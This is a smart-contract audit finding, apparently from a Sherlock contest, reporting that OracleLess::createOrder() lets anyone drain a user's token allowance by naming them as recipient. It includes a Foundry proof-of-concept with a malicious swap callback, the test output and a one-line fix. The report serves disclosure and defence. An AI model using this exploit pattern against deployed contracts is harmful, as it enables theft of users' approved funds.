Upbeat Lead Kestrel

High

# User allowance can be stolen

### Summary

Allowing to create order for arbitrary address can cause the user allowance stolen

### Root Cause

The [function `OracleLess::createOrder()`](https://github.com/sherlock-audit/2024-11-oku/blob/main/oku-custom-order-types/contracts/automatedTrigger/OracleLess.sol#L38-L67) allows caller to create order by collect funds from `recipient` address, but not from `msg.sender`
```solidity
    function createOrder(
        IERC20 tokenIn,
        IERC20 tokenOut,
        uint256 amountIn,
        uint256 minAmountOut,
        address recipient,
        uint16 feeBips,
        bool permit,
        bytes calldata permitPayload
    ) external override returns (uint96 orderId) {
        //procure tokens
@>        procureTokens(tokenIn, amountIn, recipient, permit, permitPayload);

        //construct and store order
        orderId = MASTER.generateOrderId(recipient);
        orders[orderId] = Order({
            orderId: orderId,
            tokenIn: tokenIn,
            tokenOut: tokenOut,
            amountIn: amountIn,
            minAmountOut: minAmountOut,
            recipient: recipient,
            feeBips: feeBips
        });

        //store pending order
        pendingOrderIds.push(orderId);

        emit OrderCreated(orderId);
    }

    function procureTokens(
        IERC20 token,
        uint256 amount,
@>        address owner,
        bool permit,
        bytes calldata permitPayload
    ) internal {
        if (permit) {
            IAutomation.Permit2Payload memory payload = abi.decode(
                permitPayload,
                (IAutomation.Permit2Payload)
            );

@>            permit2.permit(owner, payload.permitSingle, payload.signature);
@>            permit2.transferFrom(
                owner,
                address(this),
                uint160(amount),
                address(token)
            );
        } else {
@>            token.safeTransferFrom(owner, address(this), amount);
        }
    }
```
By this, anyone can create orders for the accounts that has allowance to the contract and fill that order with a bad exchange rate => steal approved funds from other users

- Note that the same issue happens with contract `StopLimit`

### Internal pre-conditions

_No response_

### External pre-conditions

_No response_

### Attack Path

1. Alice currently has allowance for `OracleLess` contract, i.e `1 WETH`
2. An attacker calls `OracleLess::createOrder()` with `recipient = Alice`, `minAmountOut = 0`, `tokenIn = WETH`, `tokenOut = USDC`
3. The attacker fills the order above by calling `fillOrder()` by paying just 1 wei of `USDC` (to bypass the check `minAmountOut`)

### Impact

- Users allowance/funds are stolen

### PoC

```solidity
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;

import {Test, console} from "forge-std/Test.sol";
import {Bracket, IERC20, IBracket} from "contracts/automatedTrigger/Bracket.sol";
import {OracleLess} from "contracts/automatedTrigger/OracleLess.sol";
import {AutomationMaster, IPythRelay, IAutomation} from "contracts/automatedTrigger/AutomationMaster.sol";
import "contracts/interfaces/uniswapV3/IPermit2.sol";
import {MockERC20} from "forge-std/mocks/MockERC20.sol";

contract MockToken is MockERC20 {
    function mint(address to, uint256 amount) external {
        _mint(to, amount);
    }
}

contract MyTest is Test {
    Bracket bracket;
    AutomationMaster master;
    OracleLess oracleLess;
    address permit2;

    IERC20 usdc;
    IERC20 weth;

    address usdcOracle;
    address wethOracle;

    address pythOracle;

    IERC20[] tokens;
    IPythRelay[] oracles;

    uint96 currentOrderId;

    address alice;

    function setUp() public {
        permit2 = makeAddr("permit2");
        usdcOracle = makeAddr("usdcOracle");
        wethOracle = makeAddr("wethOracle");
        pythOracle = makeAddr("PythOracle");

        alice = makeAddr("alice");

        master = new AutomationMaster();
        bracket = new Bracket(master, IPermit2(permit2));
        oracleLess = new OracleLess(master, IPermit2(permit2));

        MockToken _usdc = new MockToken();
        _usdc.initialize("usdc", "usdc", 8);
        _usdc.mint(address(this), 1000000e8);
        _usdc.mint(alice, 1000000e8);
        _usdc.approve(address(bracket), 1000000e8);
        vm.prank(alice);
        _usdc.approve(address(bracket), 1000000e8);

        usdc = IERC20(address(_usdc));

        MockToken _weth = new MockToken();
        _weth.initialize("weth", "weth", 18);
        _weth.mint(address(this), 1e6 ether);
        _weth.mint(alice, 1e6 ether);
        _weth.approve(address(bracket), 1e6 ether);
        vm.prank(alice);
        _weth.approve(address(bracket), 1e6 ether);

        weth = IERC20(address(_weth));

        vm.label(address(usdc), "USDC");
        vm.label(address(weth), "weth");

        tokens.push(usdc);
        tokens.push(weth);

        oracles.push(IPythRelay(usdcOracle));
        oracles.push(IPythRelay(wethOracle));

        master.registerOracle(tokens, oracles);
        master.setMaxPendingOrders(100);
    }


    function test_stealAllowance() public {
        vm.startPrank(alice);

        weth.approve(address(oracleLess), 1 ether);

        vm.stopPrank();

        uint96 orderId = master.generateOrderId(alice);

        uint aliceBalance = weth.balanceOf(alice);

        oracleLess.createOrder(weth, usdc, 1 ether, 0, alice, 0, false, new bytes(0));
        oracleLess.fillOrder(0, orderId, address(this), abi.encodeWithSignature("maliciousSwap()"));

        assertEq(weth.balanceOf(alice), aliceBalance, "balance should not change");
    }


    function maliciousSwap() external payable {

        // take 1 WETH
        weth.transferFrom(address(oracleLess), address(this), 1 ether);

        // send just 1 wei of USDC
        usdc.transfer(address(oracleLess), 1);
    }
}

```

Run the test `test_stealAllowance`, and the console shows
```bash
Failing tests:
Encountered 1 failing test in test/Counter.t.sol:MyTest
[FAIL: balance should not change: 999999000000000000000000 != 1000000000000000000000000] test_stealAllowance() (gas: 311090)
```

### Mitigation

```diff
-procureTokens(tokenIn, amountIn, recipient, permit, permitPayload);
+procureTokens(tokenIn, amountIn, msg.sender, permit, permitPayload);
```